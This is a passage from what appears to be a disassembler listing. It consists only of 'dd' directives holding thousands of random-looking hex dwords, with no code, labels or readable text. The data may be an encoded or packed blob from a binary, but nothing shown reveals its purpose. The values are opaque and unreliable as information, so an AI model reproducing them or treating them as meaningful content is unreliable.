		dd 0FB5D065Fh, 9059B98Ch, 0B03E0295h, 37AE68F4h, 0AD9361E0h
		dd 146423h, 0DA72F0BBh,	904BE92Ch, 1B104D8Eh, 0F2C44612h
		dd 377776D3h, 0AAF86571h, 6A6A53DDh, 27C95A02h,	64385721h
		dd 0AECA7C12h, 5A691BB0h, 0E457AC15h, 0CA801E9h, 0E2E03A00h
		dd 0ED8EF2ABh, 7E09978Bh, 1221BF7Dh, 0DB67AE41h, 912FBF70h
		dd 7EF89562h, 4F20B925h, 173405Ah, 1707C52Bh, 6375EC46h
		dd 0C4045695h, 5F09287Dh
		dd 30088573h, 9D030701h, 6049A881h, 255DDE47h, 0C4C70E6h
		dd 0E47CD70Ah, 9912B971h, 323FA3BFh, 5CF55108h,	0E353128Dh
		dd 0A2F85B87h, 44572A25h, 0AC92012h, 0B339C19Dh, 0E80BE46Ch
		dd 0A3D53E91h, 8911BFCCh, 0EB2A7628h, 3CB09242h, 728055F5h
		dd 899D01D1h, 19FF7295h, 0E30D698Dh, 0FBA72EBFh, 0EEEC5100h
		dd 7B2BAFAAh, 0CB71D600h, 3C5372D7h, 5B751774h,	1C3DACFCh
		dd 44174E49h, 95398CAFh, 0B76B2962h, 7A35C7Ah, 4BE19D0Bh
		dd 249575Ch, 7550A612h,	8280706Eh, 9FC81FF5h, 0B662B470h
		dd 0ADC94A8Bh, 0E2B04A87h, 5957D90Fh, 0B464A5D3h, 823A4C45h
		dd 0B45C1309h, 29300553h, 4A2BED9Dh, 32709593h,	53D6D84Eh
		dd 0EFE95540h, 512A0109h, 0E0BA5623h, 7EA56662h, 90DE5C00h
		dd 0B46B4319h, 0C8AE8C2h, 58E9E2FEh, 5B4B616Ch,	4172E398h
		dd 40D7FE8Fh, 97A4B7F5h, 0FC8A9818h, 11E7B912h,	2BA546D1h
		dd 5B33E62Ah, 4B02B76Ah, 5A09BF67h, 40981663h, 5FD5FC41h
		dd 7EB82583h, 99F6FCFCh, 98261C17h, 0EC3AC9EFh,	884B01E7h
		dd 0EC614120h, 1B7B001Eh, 0CA63D6EDh, 1F503AB5h, 6294BAF8h
		dd 0B9AB8E44h, 0CFADD323h, 0D6D36D80h, 0A65A9FB9h, 2EFDC6A9h
		dd 0DD8A6F60h, 0A57205C9h, 0EF3AC63Ch, 95C5BE0Ah, 12CBD6B1h
		dd 9B880DCCh, 8FB8F0AFh, 3DBA850Bh, 2D0AFF3Bh, 0E71088Ch
		dd 0C73B6625h, 19F2D374h, 73B7BBE4h, 9D927846h,	90A16802h
		dd 6311EC62h, 0DD0D9F8Dh, 0E62AD9DDh, 0CB842953h, 6BC36525h
		dd 83B35EF0h, 0D44B78h,	56699C11h, 24F9B501h, 14BB97C2h
		dd 518A5CD6h, 2DC41625h, 48542B71h, 850FE950h, 1881834h
		dd 9E13FFFh, 0AC0D7996h, 291DE2AAh, 0A9703CF3h,	137400F2h
		dd 32C2BDC1h, 0E7A87709h, 149750FCh, 6FA6E74Fh,	0A0D0B46h
		dd 8663F0D1h, 7AEFA5B8h, 7A640091h, 76AD636Fh, 0BB600248h
		dd 8A7501Ch, 0ED25255Ch, 1A77CB4Dh, 956482DAh, 21915523h
		dd 27C37050h, 5B0883Eh,	2DBD095Fh, 0FC5598AAh, 0A5B651D6h
		dd 0A564E3E0h, 99957E09h, 1399C148h, 0F52B722Eh, 91AEB5D5h
		dd 507D8514h, 4C7E20BEh, 0DE09A323h, 70DD2A6Dh,	0CB80121Ch
		dd 0C67AAB6Bh, 0DDA9AA00h, 0B268EDA6h, 0F04A9377h, 704D7380h
		dd 9D0F4A75h, 0A8BF6932h, 734F0085h, 0D2434AD7h, 803E3F22h
		dd 108CCBDBh, 49C30281h, 0E967EAF7h, 6EE1B9F8h,	572A4D20h
		dd 429A00EDh, 0A208756Bh, 0B200211Ch, 0AB04FED4h, 501D6A4Ch
		dd 400DC73Fh, 57955F2Dh, 918D3198h, 81A8195Eh, 76D6BB5h
		dd 0DC8AE976h, 79FD6D52h, 22850023h, 0DF317A8h,	594C802h
		dd 0D7D88D20h, 95F181Ah, 0BF3E58C8h, 1480B93Dh,	0F4E4E2DBh
		dd 171136Ch, 0FF06FEB9h, 25E710F9h, 7105D19Dh, 4771AB61h
		dd 8D1CF4B4h, 0DB900155h, 9779B8C5h, 99ABD8BBh,	9EC10200h
		dd 0F1986244h, 40A7BCA7h, 1D5EB118h, 0B2A8B01h,	0B75F47F8h
		dd 808D4CE2h, 803119C5h, 0C1279D33h, 0D4CE5601h, 317A1646h
		dd 39F29176h, 1067BB0Bh, 502D1A01h, 6A00CC71h, 0CD4CE4FAh
		dd 0AAE1E865h, 0F185F5Eh, 5A5F8A37h, 0CCEE6595h, 9AA129E0h
		dd 6B26A1Eh, 0A197A6D3h, 0BE2027A8h, 4C9EFE65h,	1A489290h
		dd 0A8635B7Eh, 9AC7543Dh, 6F80BF09h, 827B5950h,	32059D09h
		dd 8AAA5B05h, 9FA6A09Ah, 0C8ED058Dh, 0ECC55174h, 3E0D8001h
		dd 585AC2D5h, 191719C9h, 10B3A21Ah, 90002375h, 3AF101BFh
		dd 523C505Ch, 9D898F5Bh, 2BC72CDh, 777D7DAEh, 0A9D6DF05h
		dd 0C1AB1C96h, 2E3EE2A9h, 0B850522Ch, 0D7120A8h, 5ACA5B4Ah
		dd 0B7704838h, 767AC3DBh, 3DE9631Bh, 0B1B91A4Bh, 8A022CBCh
		dd 589F7DBFh, 75625C19h, 40AD56C9h, 35B62B3Ch, 16A50C00h
		dd 65967F3Dh, 80E94F3Fh, 0F58531FBh, 0DADE074Ah, 0EE444A89h
		dd 0D05F0201h, 0D284BD3Bh, 0E62DAD30h, 5D149703h, 6F04AB27h
		dd 0F8EA401Eh, 40B7A88Ch, 48A7F377h, 79B322CDh,	236E654Eh
		dd 0C1911100h, 0F7D39C13h, 22A29E13h, 18AC5BF9h, 0C1CD048Ch
		dd 0B9EB67B7h, 0A4A6D797h, 2861B7A1h, 1FD84AB7h, 0C85B95D9h
		dd 5061BD09h, 0C8965E7Ah, 0A7009155h, 8BA071FDh, 0B857CFh
		dd 7F480798h, 1451B5CBh, 83D7E200h, 0A54BF50h, 96302E8Ch
		dd 0B10EDE35h, 3F3174E8h, 370CBFC5h, 0ACF90983h, 0EED6EDA9h
		dd 0A6AA1034h, 10417D94h, 5560EA2Bh, 0AC33EAE7h, 0D6BB0482h
		dd 0B82EDC34h, 82B3D2A6h, 59BD2B04h, 0FC6FBF01h, 0B2001623h
		dd 0CF801D55h, 4D0A97C6h, 0A905DE0Fh, 191B8763h, 0DEFF3284h
		dd 5B48C07Bh, 3B0FB5C1h, 0B74AEF0Bh, 8EE94F3Bh,	840354ACh
		dd 0D687F8CBh, 5CEB9225h, 0B1FB2F4Eh, 52BD1D8h,	9EF1B1B5h
		dd 0AF618474h, 5591D5FCh, 3500A5ACh, 80ACFCB9h,	0F4A341h
		dd 8DD781DDh, 311A40EBh, 14ED9512h, 57A3E29h, 0E323ABCFh
		dd 800F1212h, 294D8CAAh, 9DB4B558h, 343B41E7h, 0B28CFF04h
		dd 0B380002Eh, 47A3DAAFh, 6016372h, 0EB699B99h,	6E3F9698h
		dd 46E7043Ch, 0ECA8A8BCh, 0CB69BB80h, 17009BEFh, 708C0CCh
		dd 4415178h, 7E70D902h,	0BDB19CBAh, 5911B125h, 84035C5Fh
		dd 63C6E795h, 0EF81B8FAh, 0B7A612CDh, 8EB0E243h, 87B91361h
		dd 0F57405E8h, 878DE90Bh, 5D819A96h, 71492E76h,	60A600E6h
		dd 0B3FE3D8Fh, 0F1214D00h, 505F676Eh, 0C9B79F96h, 0BDBBD107h
		dd 0D5F520F2h, 6E40A115h, 0A3A12Dh, 0FE2CCBBh, 29CF815Ah
		dd 21F29601h, 0BDF58060h, 9FC7C9CCh, 0AD251850h, 6D4DD705h
		dd 0BD3148E0h, 2F710272h, 0B1F4579Bh, 6C254378h, 5A917302h
		dd 7CFECF3Ah, 0F352D86Bh, 71B18903h, 0D5742E20h, 246201B3h
		dd 0DA5C14B1h, 0B257CC73h, 3E007A10h, 0DC27E18Eh, 4B2584Eh
		dd 5E297CA5h, 0D4BDB805h, 7023C0C7h, 0FE267D8h,	2E760B38h
		dd 0AD437EEFh, 0C6823135h, 0CAD07CDBh, 54510075h, 0D47DBAC5h
		dd 4F915E53h, 5DBD4A80h, 0E953F81h, 2E5783BFh, 61515F49h
		dd 0FFF21324h, 66092FDAh, 716A56BFh, 38AC2F8h, 84005729h
		dd 0FFF352E9h, 0CB0AA5BFh, 0AF30D5A1h, 0A6215A05h, 28C700A5h
		dd 0C989770h, 44C6053Eh, 0AD26C0CAh, 8D890BD1h,	559DEA71h
		dd 58B5530h, 9805288h, 905BD0D7h, 5FE91A75h, 23F9108Bh
		dd 7216D083h, 538E809Ch, 34646AB8h, 0F255E909h,	0F66A5ED3h
		dd 9075F35Ah, 0C8E1694h, 83F99B09h, 6A894DCAh, 0C023DB3Fh
		dd 0B908C243h, 205D9049h, 8C801CF5h, 18762166h,	5C06CC4h
		dd 1FB873ADh, 4F29FF12h, 230B48ECh, 372599BDh, 50EFC390h
		dd 0B8E2F9A4h, 0D2C8240Bh, 7258840Ah, 6E8CAB6Ah, 0EAF50002h
		dd 0DC89777Bh, 0B31E0308h, 5BD7E380h, 7AEB4817h, 0F1A37F4Fh
		dd 0F6B98FD0h, 5C968227h, 8A7BEB54h, 2707C650h,	1D7CA5D6h
		dd 11852960h, 2B6EB524h, 6C40D69Eh, 571F497h, 0FF557219h
		dd 6EDBC2D1h, 32F7615Fh, 25C0CE2Ah, 0F6DADC42h,	5F6E529Fh
		dd 2FA0E66h, 8A16E4B5h,	0B718C2DCh, 54D46FFh, 0A9751202h
		dd 0B745DC56h, 7DE9DA12h, 708455E3h, 16233E21h,	0A440FA01h
		dd 6B2ED88Ah, 0B152351h, 0DAC2CF9Dh, 133C8275h,	272774C9h
		dd 0D84E7CECh, 85D1D4FCh, 0D216DB5Eh, 0F557A0ABh, 80F98603h
		dd 25FD8A54h, 0D556B786h, 475F9E4h, 0EB0965B2h,	0E65A288Bh
		dd 165AA3C6h, 0BFF6AD2h, 9B59AD85h, 0D723090Eh,	0F45937BBh
		dd 18E90331h, 0B8BB8401h, 0F5B0C962h, 2BF99E02h, 0F870E600h
		dd 0F7113E4h, 80EFE283h, 42C7652Eh, 9A7F9596h, 0B9EE7FA9h
		dd 4C84F84Bh, 0D3A8F712h
		dd 20681CAh, 16FD9D03h,	652B31DFh, 0DCAAD8E7h, 9AC80263h
		dd 0B0ABF85Fh, 0CB812EC0h, 0C5142A09h, 858723Fh, 1D82443Ch
		dd 5E51ADh, 9D691579h, 2D0E738Dh, 0C529C3D4h, 329034A5h
		dd 2BFC82Bh, 7BA26016h,	3F5D18Bh, 0FC094F1Fh, 7FE99F91h
		dd 0FF2F7A63h, 0E9321E0Eh, 0B4C01286h, 417C9AAh, 0D12CC2B9h
		dd 1BCE31D5h, 1277F912h, 1DC687h, 892C7495h, 0D914668Bh
		dd 364F8200h, 75317092h, 0FE6C9516h, 1E47FDECh,	80002C22h
		dd 2EBF8AF3h, 9578EEEAh, 85847A5Bh, 132421F5h, 0C28B7765h
		dd 14D534E1h, 0A15920B9h, 0B4420B94h, 0FFB571Ch, 1C05DDC9h
		dd 0F07EAF0Bh, 48D5FC07h, 2F8E5BBDh, 7B751BC9h,	4075BE6Ah
		dd 0CA25B915h, 2703BD10h, 0C6856454h, 919456E5h, 5D6D5FFh
		dd 0BC3EBE11h, 3239120Bh, 166207B6h, 2B001F09h,	12BFBBD2h
		dd 0E63CA3C7h, 7F6BD21Fh, 8DE3DE17h, 0CD8C024Dh, 5DDA9057h
		dd 60599D01h, 4583ED49h, 0C753AF17h, 0E80BF287h, 0B71AA12Fh
		dd 0D0C0D115h, 560A2E4h, 757AAA2Bh, 441EC181h, 2A70C986h
		dd 17B2FFA6h, 31227130h, 69B6A11Ch, 0F6CB2A0Bh,	8C34AED2h
		dd 0ACDF34FBh, 5EA6A211h, 352EF66Bh, 4E008363h,	1738DEF4h
		dd 48909743h, 1B005AE4h, 1A9DA4E2h, 12501CE3h, 56EAAD8Fh
		dd 803F9E3Bh, 50D51412h, 10F8032Eh, 23CE4960h, 2980E870h
		dd 1B4525BDh, 0ED6BD759h, 6CF74B59h, 0F9030AE2h, 8B3E1FFh
		dd 31120785h, 7116AA09h, 49EC392h, 136FEE84h, 0A5CAF30Fh
		dd 3A7CE3ABh, 0F50DE127h, 858F282Eh, 9574508Ah,	3F278C94h
		dd 0D04D5304h, 2792DA19h, 91200541h, 4BB99AADh,	806ADB60h
		dd 57FA8F07h, 84764B3Dh, 0B977FDAFh, 99E62DCh, 8CA4B327h
		dd 6DBFAA70h, 0D997C0DDh, 67094033h, 72AD6BDAh,	11320BFh
		dd 237D8180h, 61D80381h, 0A3399709h, 0F5A73052h, 5F4B659Ah
		dd 0E347FAEh, 0A9D749EBh, 4DC453h, 89BB8DD5h, 7F7CF378h
		dd 0A2C9F00h, 0F8DFFC92h, 0D989952Bh, 0F2ADD95Dh, 0ABC2B556h
		dd 33427DFCh, 0EF4A3DEh, 0AF32A042h, 1DD96ABh, 0C13468FCh
		dd 4A8A4160h, 0CBD1B0DDh, 0CB2DC23Ch, 0D0E0E0B6h, 0EB4BC1B9h
		dd 572F6AAEh, 0E20C02B7h, 87C4705Fh, 55F9E1F5h,	0E9FC10B8h
		dd 0C9021927h, 0AE21DEB2h, 0F968CC7Fh, 55D61297h, 47817237h
		dd 0E8FA6679h, 0F35289A7h, 3D9518E0h, 5ACC80FFh, 59251B33h
		dd 9E4ABF04h, 0B4B845D1h, 0A5C8B0D2h, 6BDE0541h, 57C88574h
		dd 613040B1h, 6FA92AE3h, 0A886BD92h, 0ED895BF4h, 5D1BC3Ah
		dd 859531BEh, 0F460EE0Eh, 492EE3h, 982B1E5Ch, 24BB1240h
		dd 3D3EA507h, 30997F97h, 25BD89D8h, 0E8C41BFDh,	9FE67A9Fh
		dd 52F66710h, 77442900h, 56BCD408h, 83CB09ADh, 879B5h
		dd 0DA642514h, 8F814D00h, 0F77CAB54h, 83D197A1h, 0C07BCD2Dh
		dd 36E4548Ah, 5C05C92Dh, 0AF341C9Eh, 95C3ED74h,	0F0D54E25h
		dd 0FB974CEDh, 3F6DD983h, 5D40CF0h, 684618Fh, 19428164h
		dd 0AE33A12h, 0CF448896h, 0E1D9D500h, 0DB3E9B78h, 39E8021Ch
		dd 50AF9AB8h, 9F4DE6D5h, 7B02D073h, 8764796Fh, 5010604Dh
		dd 1CEFBA58h, 0B9716155h, 8D3872DDh, 0C1BCA95Eh, 355BBB66h
		dd 0E89038AFh, 8202D6AAh, 0EFC83EB6h, 0B8AF60BEh, 0FCF6070Bh
		dd 0D9E39C43h, 6A82AE89h, 680C228Dh, 0AC8B5A90h, 351A6588h
		dd 630B29AFh, 0CCA0078h, 0FB044ED0h, 8489004Fh,	0C64472EEh
		dd 1313CB81h, 0CA163253h, 4100436Fh, 0C660E70Fh, 1627F486h
		dd 7AD8562Eh, 1408B557h, 4901A5D8h, 3B8546AEh, 0BD3A3010h
		dd 72225495h, 29BC9964h, 467B3B40h, 77EC1D88h, 0FDD58140h
		dd 2321E9A7h, 16852E4Dh, 0C235D5A5h, 447617D9h,	0ACA70A00h
		dd 15BF667Dh, 92ADFF4Eh, 0B0B1AEA4h, 0C231B10Fh, 0F6CF8027h
		dd 0FC9241F9h, 7A2F8EE5h, 71911748h, 0CF8A2AAAh, 0B8F72732h
		dd 66851310h, 0E74EB5BEh, 4021CD97h, 77EFD7BEh,	0A43D4D09h
		dd 25E9D996h, 0A1D0277Fh, 5E748F10h, 0C1C7026Ah, 92938169h
		dd 50A54975h, 0B98CFD2Bh, 0FE1403DCh, 38600059h, 0D3E78139h
		dd 414BF288h, 7317FAAh,	6C39F45Fh, 8ADF71E9h, 0C9C7CEB7h
		dd 0CBE0A218h, 0B185F400h, 0E23BFFA1h, 5A491E84h, 0DEC2A58Eh
		dd 0F469F65Dh, 20422549h, 0E3811F15h, 0D9B4968h, 46D6885Ch
		dd 4F100019h, 463C25D4h, 0FA64BD0Bh, 9C972C4h, 4D4AF740h
		dd 0C69C2CACh, 7DC78269h, 25097A2Fh, 6B731769h,	6B58CC2Bh
		dd 56E525F4h, 0EF801BE0h, 34AAFA4Ah, 0F5F2BA90h, 0A7B88616h
		dd 7605B0B6h, 0AA153F70h, 0DD8AEA0Ch, 0F3258048h, 0D05E5458h
		dd 15F919Dh, 27BD2CE9h,	80FD00E9h, 0F8FC05A8h, 3AD413DEh
		dd 80F4B896h, 0D342DD3h, 6AD0573h, 0B05BC7B3h, 0E2B840Ch
		dd 26583A96h, 0B664015Eh, 0D0B2E598h, 0F5272AB4h, 0C6E3A450h
		dd 0EAF96257h, 145D3069h, 0E9FD800Dh, 0BF159728h, 41C449C0h
		dd 0B8552E3Fh, 0F527890Ch, 4544BD71h, 0AC2C857h, 16D42A00h
		dd 729561CEh, 9D729599h, 0D7963625h, 0DC2A4818h, 50651807h
		dd 0CDF9F98Ah, 1A38C3AEh, 8C726513h, 0B912FAA7h, 599F3710h
		dd 81E03E5Ch, 294125D3h, 2E1E0BFEh, 0A3844088h,	5D95BF49h
		dd 769B290h, 2DA00300h,	0BD292AB3h, 0FF45B5D9h,	0DB50105h
		dd 258056B0h, 43C59ADFh, 86FC5B17h, 0F35607C9h,	29B5555Ah
		dd 5FA33200h, 988EC8Bh,	0C6B68142h, 5CAD49BDh, 0CD25B89Ch
		dd 419F2150h, 2D2EF5B0h, 0BDB5041Bh, 0A5E91283h, 6E6F18E1h
		dd 0EFDD0064h, 2FC9D0BDh, 5F543D23h, 0F8513AF2h, 0E801A9CAh
		dd 7300429h, 0BB563910h, 5B25CBE2h, 7F642C6h, 4EC137C1h
		dd 23C4A7EBh, 0F881A04Ch, 2144B590h, 52DE8A25h,	83B7BF3Fh
		dd 8B606889h, 2A5D7E5h,	0B1DEAA61h, 0ACCCA9Eh, 5C678060h
		dd 0FE906DDCh, 0F5E4A861h, 1E391830h, 81BE3CBCh, 5EA90512h
		dd 601374B8h, 0B6E38A0Fh, 6D9AD71Eh, 5D97ACC4h,	0F0307890h
		dd 0DB26B109h, 38DEF424h, 61265B40h, 1A603E90h,	48795A4h
		dd 8291402Dh, 0BA30AED7h, 0EBBAC65h, 34B9BD4Eh,	0B736DD40h
		dd 90125F66h, 0E304FC60h, 0BDBE2349h, 1D97F877h, 46368ECDh
		dd 7A19FFCFh, 73F9EFA1h, 0FC8A1239h, 845F55E3h,	0AADF9417h
		dd 1B23FA6Bh, 652D2A07h, 7ABB08F0h, 37B70D3Ch, 0CD86D1FFh
		dd 46382E22h, 0B509888Bh, 0DF4B1D5Fh, 80693702h, 3164EF0Eh
		dd 0C8007901h, 0BB9034C0h, 26D64985h, 117E502Eh, 0CC204F1Ah
		dd 6F5F67h, 56C83F7Eh, 0D1AF3001h, 8B6B7805h, 0B48066A8h
		dd 165B7420h, 2AFA8A90h, 4E80DEF7h, 454D8FF0h, 93C62517h
		dd 9B4002D6h, 2669F911h, 2F128129h, 0FF592AFEh,	4BFA624h
		dd 23BEE216h, 0ABE68560h, 18BA3621h, 6157CA40h,	0E55497F9h
		dd 87D0B5E9h, 11E86579h, 40AD9215h, 805A128Bh, 4D57DB26h
		dd 0AD4425h, 722CE70Bh,	4FAD12EAh, 0D77C8B05h, 0ACF690EDh
		dd 4F8498E0h, 0C1E3F84Ah, 21B58913h, 2EDE8B5Ch,	3BDB8A65h
		dd 0B8EB4981h, 2F0D304Ch, 13EA5D12h, 0DB0264F2h, 877E075Eh
		dd 12022441h, 6B4EF557h, 95F046B5h, 0BDF7C0A9h,	1E0D02E5h
		dd 1BF7076Ah, 60FFC1C1h, 0F8CBB84Ch, 75AD00B0h,	40C57A9Ah
		dd 104851B9h, 2F8D16F1h, 5A313088h, 0E829BD23h,	4E2C02E3h
		dd 98460BE8h, 6CC4F95Ch, 2479FE58h, 0F06FB081h,	320015FEh
		dd 70E66F14h, 12805160h, 0FC5E44C4h, 28AE97A1h,	0A7742155h
		dd 9409D7ECh, 78615AF8h, 48B2215h, 833141A0h, 2B08A697h
		dd 0D1E9BF83h, 0F9BE1405h
		dd 61562F94h, 5B021B40h, 0FC4B98DDh, 0C4FA074Ah, 2088FFB8h
		dd 3F127CD8h, 28F3C48h,	0C7E6A2Fh, 6B7457A4h, 299D8D61h
		dd 63119D6Bh, 80F438E4h, 9D6859FCh, 3F88F876h, 0C08350FEh
		dd 87548BE7h, 8674C19Ah, 0EC370A98h, 0E57F00E2h, 646B534Fh
		dd 0FD9539EDh, 0B8556A92h, 8015F15Eh, 67B1C82Bh, 0E041268Fh
		dd 3846ABB6h, 5D58092Fh, 3758AF4Eh, 3A5FDC89h, 1A22ECB2h
		dd 4E608744h, 7495AE09h, 0F0C7BF82h, 0E840B521h, 69EC8949h
		dd 942CAB6h, 55710928h,	0E5BB6687h, 45517A19h, 12604227h
		dd 707C62Ch, 4977BBE3h,	0A794C0FBh, 404C7C46h, 2B510070h
		dd 61C38B66h, 0F959B5E9h, 0D5161989h, 575CF9BAh, 0E6522244h
		dd 27513F4Fh, 9F32E682h, 439519E1h, 6E25536Ch, 857773FEh
		dd 0BA17B223h, 13C2B79Bh, 4057A6F2h, 0ECE78121h, 512E2EAFh
		dd 4B12F6BAh, 4FF30329h, 0B9284748h, 0E63AE1B5h, 0DA3CF012h
		dd 0D9F10E32h, 0E8D68485h, 4BAED088h, 7286EAAh,	0EE5ED03Ch
		dd 95842ED1h, 4811568h,	0F8903DE1h, 0EB006C86h,	0FBC7F4BDh
		dd 4AC6320h, 9D03A719h,	5FC0F011h, 4ECFC4Ah, 404FB2D2h
		dd 6D03AEABh, 950920FFh, 90BD84C9h, 10813262h, 0A4856D75h
		dd 1D8508B2h, 0A45B228h, 4618DF6Ch, 4E520840h, 0EEDE0BBCh
		dd 47770019h, 9367AF16h, 569733F8h, 4FC6521Ch, 0C188907h
		dd 95E015BEh, 2BDF4C3h,	0F2D964D7h, 0EA7D70C4h,	0EC9734Bh
		dd 0ABD34585h, 1C236A6Fh, 63977100h, 280E95D5h,	4838D98h
		dd 387CC781h, 0AD70BCF5h, 98EF308Eh, 0E117E692h, 0E0D4FCA0h
		dd 0BDC02507h, 66178BE5h, 0E2EC16B9h, 35FA2507h, 0BF57E818h
		dd 0D3D72F1h, 495C5D30h, 0A94E3082h, 5979E937h,	8030D685h
		dd 0E0EEDF8Ah, 0EC2D5495h, 414B2B76h, 4B254BCAh, 40ACEF5Fh
		dd 0D44A1EEDh, 0BFE1760Bh, 1D9F0243h, 56C6E5h, 12B8010Eh
		dd 29E37D03h, 45DE4B00h, 8F65667Ah, 20635F68h, 1106AB20h
		dd 6DF13E0Eh, 0C9038293h, 51715E28h, 20FB140Ch,	56C3EFE4h
		dd 0E09D9A04h, 7BBCD02Fh, 0B9A5BCA3h, 0B1488092h, 1F2D5EEh
		dd 4DF79888h, 0CCD876BDh, 0CAC46053h, 48BC19F3h, 2F56E5Ah
		dd 63F092B6h, 475657FCh, 0F8205A58h, 362409B6h,	48755309h
		dd 8C2B81E2h, 24B7385Ah, 86A49B0h, 6E715125h, 1DED2D14h
		dd 0D45A365Ch, 0D907D436h, 0D4D0127Fh, 422830F2h, 396DD51Eh
		dd 0F11BB869h, 0BF73996h, 598EE60Ah, 19810BCBh,	0E0809671h
		dd 5A9FBD6Ch, 97571004h, 1A224E39h, 88DC55EFh, 0E2EB5047h
		dd 0D44C011h, 0B34FA032h, 8168007Ch, 0BFA5828Eh, 0C1252C6Ch
		dd 9635879h, 5A9C757Eh,	53C0CE6Dh, 0E85F0Ah, 21866D22h
		dd 8935BB74h, 4DB5D070h, 60186485h, 2F43B888h, 95564FF8h
		dd 0B0EADE2h, 59859A75h, 0F9A6000Bh, 565F9860h,	140A8F6h
		dd 79851231h, 0C137BD23h, 25FD8D29h, 7D412D2Fh,	6EA81Ch
		dd 5ADD3561h, 37422E3Ah, 31AAE14Ah, 3ADABFC9h, 0E9D73AB2h
		dd 201A870h, 0F08D241h,	8B100383h, 977395F8h, 0F9181759h
		dd 47B7A112h, 339A81EAh, 1024E9BDh, 4BD1B660h, 0EAF98461h
		dd 15E2EDA6h, 96D8F7B0h, 1C309097h, 0A88D3CF0h,	3ECCD582h
		dd 0E8F79D23h, 3CBF5F23h, 30A4B8BCh, 9A108F7h, 97196801h
		dd 123A0FB1h, 0E6BEF05Dh, 13AE943Dh, 7EFB858Dh,	0D91A01D0h
		dd 75086E98h, 0F1E88242h, 1620D241h, 0F03AFCFFh, 0CCA95B00h
		dd 9DB51B2h, 0CC4000Eh,	582E818Ah, 0BE16665Ah, 47E95E07h
		dd 0E067E64Bh, 2F7BC83h, 3AD99C61h, 5957A42Bh, 85010254h
		dd 0FB5C207Dh, 65870FE2h, 40D59CEBh, 689F9BB7h,	61728B93h
		dd 2480D9BDh, 25A538EFh, 0B7C034D5h, 520588B5h,	2CAB5A82h
		dd 4E1406Dh, 0C253FCBAh, 20EB5BDh, 0BD774AE9h, 0FF0827Ah
		dd 3382078Bh, 0F5240189h, 75F147C2h, 97762A67h,	330BF360h
		dd 29BD0109h, 1E9C5530h, 372C6245h, 0BD7C7980h,	0E3019DEFh
		dd 7B858609h, 6FE8FCB8h, 5239EEACh, 3EC4CFF3h, 0F8DEEA04h
		dd 23956880h, 0A9977D3Ah, 244FD50Fh, 74FEAE44h,	809DBC3Ch
		dd 0F8B1CAF7h, 0E43303BDh, 9489BFE7h, 981927F8h, 0F0A7AE1Ch
		dd 4BF38FD2h, 84ADF95Eh, 0B3527185h, 9D291373h,	0AD3952FAh
		dd 2C25C4C9h, 4009E844h, 8684E1ADh, 1E7709AAh, 5562E36Ch
		dd 0DF0C4057h, 60C1BF96h, 0C38B6B30h, 0AA172912h, 6A5F4B8Ah
		dd 0C0A84A24h, 46C780C2h, 7DD6B92h, 75A9D612h, 1D452F4Dh
		dd 40923522h, 70ED3E3Eh, 0F477137Bh, 4152C491h,	2D8D89B3h
		dd 37AB2B01h, 0FA150012h, 0C9006785h, 92FC9744h, 2FBD70EEh
		dd 0BFFC897Bh, 4E867E4Ch, 23E7C4h, 813C2E0Ch, 8864E8h
		dd 23EB6A2Ah, 9D09B130h, 8A84AD4Ah, 23B46BEAh, 0E19E1214h
		dd 0D96E7FE8h, 1F6E7907h, 648540F4h, 0C5047757h, 29A19D33h
		dd 4AB959E4h, 903FAA23h, 0C168162Ch, 60680FFCh,	0D4E1DA1h
		dd 807C60ABh, 0ABA21CDFh, 9701D05Fh, 907C1E09h,	0B00D73F6h
		dd 6E8400D7h, 0BB9030BCh, 0AE76FCCEh, 16B46A70h, 0C60902DCh
		dd 0F2D1492Dh, 441615D7h, 39C2FF2Ah, 5A575E16h,	8F60626Dh
		dd 971EC012h, 5DA512D9h, 0F5807F65h, 58967836h,	0F11A4B2Ah
		dd 0A0FD3775h, 3BD1725Dh, 0AA166345h, 4E36B8A2h, 41F892E9h
		dd 0CE5C9902h, 0F8523B8Fh, 260520A1h, 4D205090h, 0EED0B70Fh
		dd 0E66F4B25h, 6DEFA074h, 3A73BD29h, 48CF81C1h,	9778B2FCh
		dd 0A1E7DB82h, 61BB85A7h, 4A0B7A95h, 0DFAEB2F3h, 0DD5E7C4Ch
		dd 4B5C9FA0h, 603FCCB5h, 5A1EEEF6h, 0FD65B7B3h,	0D440B788h
		dd 250B1646h, 9D62DE66h, 0BFA0EE5Fh, 0CB3B3C35h, 6C275CCAh
		dd 0F8D850D3h, 9A5D97ACh, 0A1F168h, 1463486Bh, 0AA021FA4h
		dd 6DBAD566h, 0D68B5E4Eh, 110A1646h, 3ECD3290h,	0BB750C4h
		dd 5C90D5F5h, 68D0619h,	83F98D29h, 0F2FFE917h, 3287AAEh
		dd 4945BF94h, 0C18BF916h, 38E46A20h, 2A898DF8h,	0E3FE1840h
		dd 6D3B01DEh, 8BF5EF05h, 317561C6h, 0CED87F37h,	0E437006Fh
		dd 0DC3315EBh, 0D23A8C1Ah, 2AC480A5h, 0E5087E4Eh, 80F9BD22h
		dd 0CC6193A6h, 1DFC78A2h, 9DE00E7h, 0C4B1FE4Bh,	5A71CE69h
		dd 73D29DA2h, 5A602438h, 67BC1BADh, 0FE125D97h,	15E1FCE6h
		dd 522D950Fh, 21E876FDh, 0D566B7h, 2F28BCC6h, 0A07C26C8h
		dd 5C64AC13h, 4E4FE88h,	63AE3C4Dh, 89AC81A2h, 6DC1E1Dh
		dd 3E87DA80h, 8B601DBCh, 0F4EBC0h, 0D976C24Ch, 0E6F5CD66h
		dd 3B92E400h, 0D15065EAh, 0D7ED0035h, 87789C58h, 2A011290h
		dd 45179273h, 6631465Bh, 799C3630h, 5E7B0043h, 442B9EDAh
		dd 0BE3CFE3Ch, 57D780CAh, 54C10662h, 3DA30089h,	0C7F6A291h
		dd 8000E51Dh, 997322FBh, 5A2AAFh, 2CF2A09Ah, 4FEE0349h
		dd 1C0EA139h, 0F78E4BEAh, 408AA0FCh, 1FB6D0h, 761677E4h
		dd 24D4AE79h, 0B0B8FCF1h, 0FE58BE00h, 0AB6A9F9Eh, 80A303B7h
		dd 1F2E20D0h, 73CC42F8h, 0A854C300h, 0DB5C4C06h, 0A0C50393h
		dd 3ADA3627h, 0EE9500AFh, 0D760561Fh, 29199F10h, 0BFE1079Ah
		dd 48888278h, 0EA18AB00h, 0C0B02F3h, 30A9E0Dh, 21C09008h
		dd 0B2EA10CAh, 0F3CE0795h, 0EE9CB11Dh, 2D3B3100h, 140C0E61h
		dd 318DAD19h, 0EDD0E78Bh, 11C26063h, 0D05D72DFh, 0BE754803h
